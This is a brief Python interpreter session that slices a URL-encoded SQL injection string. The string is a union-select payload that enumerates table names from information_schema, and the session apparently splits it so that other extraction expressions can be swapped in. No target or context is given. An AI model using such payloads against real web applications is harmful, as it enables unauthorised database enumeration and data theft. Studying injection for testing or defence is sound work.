>>> s = '%20and%201=2%20union%20select%201,group_concat%28table_name%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20information_schema.tables%20where%20table_schema=database%28%29' >>> b = 'roup_concat%28table_name%29' >>> before = s[:s.index(b)-1] >>> after = s[s.index(b)+len(b):] >>> before '%20and%201=2%20union%20select%201,' >>> after ',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20information_schema.tables%20where%20table_schema=database%28%29' >>>